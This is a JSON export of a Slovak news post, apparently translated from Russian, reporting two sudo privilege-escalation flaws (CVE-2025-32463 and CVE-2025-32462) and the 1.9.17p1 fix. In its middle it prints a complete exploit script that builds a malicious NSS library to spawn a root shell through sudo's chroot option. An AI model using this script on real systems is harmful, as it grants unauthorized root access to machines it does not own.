{"id":138584,"date":"2025-07-01T17:11:57","date_gmt":"2025-07-01T15:11:57","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme"},"modified":"2025-07-01T17:11:57","modified_gmt":"2025-07-01T15:11:57","slug":"uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sk\/blog\/news\/uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme","title":{"rendered":"Zranite\u013enosti v utilite sudo, ktor\u00e9 umo\u017e\u0148uj\u00fa z\u00edska\u0165 pr\u00e1va root v syst\u00e9me","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

V bal\u00edku sudo, ktor\u00fd sa pou\u017e\u00edva na vykon\u00e1vanie pr\u00edkazov v mene in\u00fdch pou\u017e\u00edvate\u013eov, bola zisten\u00e1 zranite\u013enos\u0165 (CVE-2025-32463), ktor\u00e1 umo\u017e\u0148uje ak\u00e9muko\u013evek nepriviligovan\u00e9mu pou\u017e\u00edvate\u013eovi spusti\u0165 k\u00f3d s pr\u00e1vami roota, aj ke\u010f pou\u017e\u00edvate\u013e nie je uveden\u00fd v konfigur\u00e1cii sudoers. Probl\u00e9m zasahuje distrib\u00facie, ktor\u00e9 pou\u017e\u00edvaj\u00fa konfigura\u010dn\u00fd s\u00fabor \/etc\/nsswitch.conf; napr\u00edklad sa preuk\u00e1zala mo\u017enos\u0165 vyu\u017eitia zranite\u013enosti v Ubuntu 24.04 a Fedora 41. <\/p>\n

Zranite\u013enos\u0165 sa prejavuje v predvolenej konfigur\u00e1cii a bola potvrden\u00e1 v verzi\u00e1ch sudo od 1.9.14 do 1.9.17 (potenci\u00e1lne zasahuje v\u0161etky verzie od 1.8.33). Probl\u00e9m bol vyrie\u0161en\u00fd v aktualiz\u00e1cii sudo 1.9.17p1. Stav novej verzie bal\u00edka alebo pr\u00edpravy opravy v distrib\u00faci\u00e1ch si m\u00f4\u017eete skontrolova\u0165 na t\u00fdchto str\u00e1nkach (ak str\u00e1nka nie je dostupn\u00e1, to znamen\u00e1, \u017ee v\u00fdvoj\u00e1ri distrib\u00facie sa e\u0161te neza\u010dali zaobera\u0165 probl\u00e9mom): Debian, Ubuntu, Fedora, SUSE\/openSUSE, RHEL, Gentoo a Arch (1, 2). <\/p>\n

Probl\u00e9m je sp\u00f4soben\u00fd t\u00fdm, \u017ee pri pou\u017eit\u00ed volby «-R» («—chroot») na spustenie pr\u00edkazov v chroot prostred\u00ed s vybran\u00fdm u\u017e\u00edvate\u013esk\u00fdm kore\u0148ov\u00fdm adres\u00e1rom, s\u00fabor \\\/etc\\\/nsswitch.conf sa na\u010d\u00edtava v kontexte nov\u00e9ho kore\u0148ov\u00e9ho adres\u00e1ra, a nie syst\u00e9mov\u00e9ho adres\u00e1ra. Ke\u010f\u017ee u\u017e\u00edvate\u013e m\u00f4\u017ee pou\u017ei\u0165 ako kore\u0148ov\u00fd adres\u00e1r pre chroot svoj vlastn\u00fd adres\u00e1r, m\u00f4\u017ee do neho umiestni\u0165 konfigura\u010dn\u00fd s\u00fabor nsswitch.conf. Ovl\u00e1dan\u00edm na\u010d\u00edtan\u00e9ho s\u00faboru subsyst\u00e9mom NSS (Name Service Switch) \\\/etc\\\/nsswitch.conf m\u00f4\u017ee u\u017e\u00edvate\u013e prida\u0165 do neho nastavenia, ktor\u00e9 ved\u00fa k vyvolaniu \u010fal\u0161\u00edch spracovate\u013eov. Tak\u00e9to spracovatele sa na\u010d\u00edtavaj\u00fa NSS vo forme zdie\u013ean\u00fdch kni\u017en\u00edc, ktor\u00e9 m\u00f4\u017eu by\u0165 tie\u017e umiestnen\u00e9 v pod kontrolou u\u017e\u00edvate\u013ea. Nahra\u010fte svoju kni\u017enicu u\u017e\u00edvate\u013e m\u00f4\u017ee dosiahnu\u0165 vykon\u00e1vanie k\u00f3du s pr\u00e1vami root, preto\u017ee spracovanie NSS prebieha pred zru\u0161en\u00edm privil\u00e9gi\u00ed. <\/p>\n

Pr\u00edklad exploit: #!\\\/bin\\\/bash STAGE=$(mktemp -d \\\/tmp\\\/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir(«\\\/»); execl(«\\\/bin\\\/bash», «\\\/bin\\\/bash», NULL); } EOF mkdir -p woot\\\/etc libnss_ echo «passwd: \\\/woot1337» > woot\\\/etc\\\/nsswitch.conf cp \\\/etc\\\/group woot\\\/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_\\\/woot1337.so.2 woot1337.c echo «woot!» sudo -R woot woot rm -rf ${STAGE?} <\/p>\n

Vo verzii sudo 1.9.17p1 bola tie\u017e odstr\u00e1nen\u00e1 \u010fal\u0161ia zranite\u013enos\u0165 (CVE-2025-32462), ktor\u00e1 umo\u017e\u0148uje vykon\u00e1va\u0165 pr\u00edkazy s pr\u00e1vami root, ale prejavuje sa len v konfigur\u00e1ci\u00e1ch sudoers, kde je parameter «host» nastaven\u00fd na hodnotu odli\u0161n\u00fa od ALL alebo n\u00e1zvu s\u00fa\u010dasn\u00e9ho hostite\u013ea. Zranite\u013enos\u0165 vznikla chybou, kv\u00f4li ktorej vo\u013eba «-h» («—host») p\u00f4sobila nielen v kombin\u00e1cii s vo\u013ebou «-l» («—list») pre v\u00fdstup privilegovan\u00fdch pr\u00edkazov viazan\u00fdch na hostite\u013ea, ale aj pri sp\u00fa\u0161\u0165an\u00ed pr\u00edkazov. Tak mohol u\u017e\u00edvate\u013e pri vyvol\u00e1van\u00ed sudo zada\u0165 ak\u00fdko\u013evek hostite\u013e a ob\u00eds\u0165 obmedzenia pravidiel sudoers viazan\u00fdch na n\u00e1zov hostite\u013ea. <\/p>\n

Aby mohol u\u017e\u00edvate\u013e vykona\u0165 \u00fatok, mus\u00ed by\u0165 uveden\u00fd v sudoers, napr\u00edklad ak s\u00fa v nastaveniach uveden\u00e9 «testuser testhost = ALL», tak u\u017e\u00edvate\u013e «testuser» mohol zada\u0165 «sudo -h testhost» a spusti\u0165 pr\u00edkazy s pr\u00e1vami root na ak\u00fdchko\u013evek hostite\u013eoch, a nie iba na hoste testhost. Konfigur\u00e1cie s nastaveniami typu «testuser ALL = ALL» alebo bez explicitn\u00fdch pravidiel pre konkr\u00e9tneho u\u017e\u00edvate\u013ea nie s\u00fa touto zranite\u013enos\u0165ou ohrozen\u00e9.
\n
Zdroj: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u043f\u0430\u043a\u0435\u0442\u0435 sudo, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u043c \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-32463), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043b\u044e\u0431\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442 \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 sudoers. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0444\u0430\u0439\u043b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \/etc\/nsswitch.conf, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432 Ubuntu 24.04 \u0438 Fedora 41. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u043e […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-138584","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Zranite\u013enosti v utilite sudo, ktor\u00e9 umo\u017e\u0148uj\u00fa z\u00edska\u0165 pr\u00e1va root v syst\u00e9me | ProHoster","description":"V bal\u00edku sudo, ktor\u00fd sa pou\u017e\u00edva na organiz\u00e1ciu vykon\u00e1vania pr\u00edkazov od in\u00fdch pou\u017e\u00edvate\u013eov, bola identifikovan\u00e1 zranite\u013enos\u0165 (CVE-2025-32463), ktor\u00e1 umo\u017e\u0148uje ak\u00e9muko\u013evek nem\u00e1lo privil\u00e9giovan\u00e9mu pou\u017e\u00edvate\u013eovi vykona\u0165 k\u00f3d s pr\u00e1vami root.","canonical_url":"https:\/\/prohoster.info\/sk\/blog\/news\/uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sk_SK","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 sudo, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 | ProHoster","og:description":"\u0412 \u043f\u0430\u043a\u0435\u0442\u0435 sudo, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u043c \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-32463), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043b\u044e\u0431\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.","og:url":"https:\/\/prohoster.info\/sk\/blog\/news\/uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2025-07-01T15:11:57+00:00","article:modified_time":"2025-07-01T15:11:57+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"138584","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-01-23 13:36:20","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2026-01-23 13:36:20","updated":"2026-01-23 13:36:20","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/posts\/138584","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/comments?post=138584"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/posts\/138584\/revisions"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/media?parent=138584"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/categories?post=138584"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/tags?post=138584"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}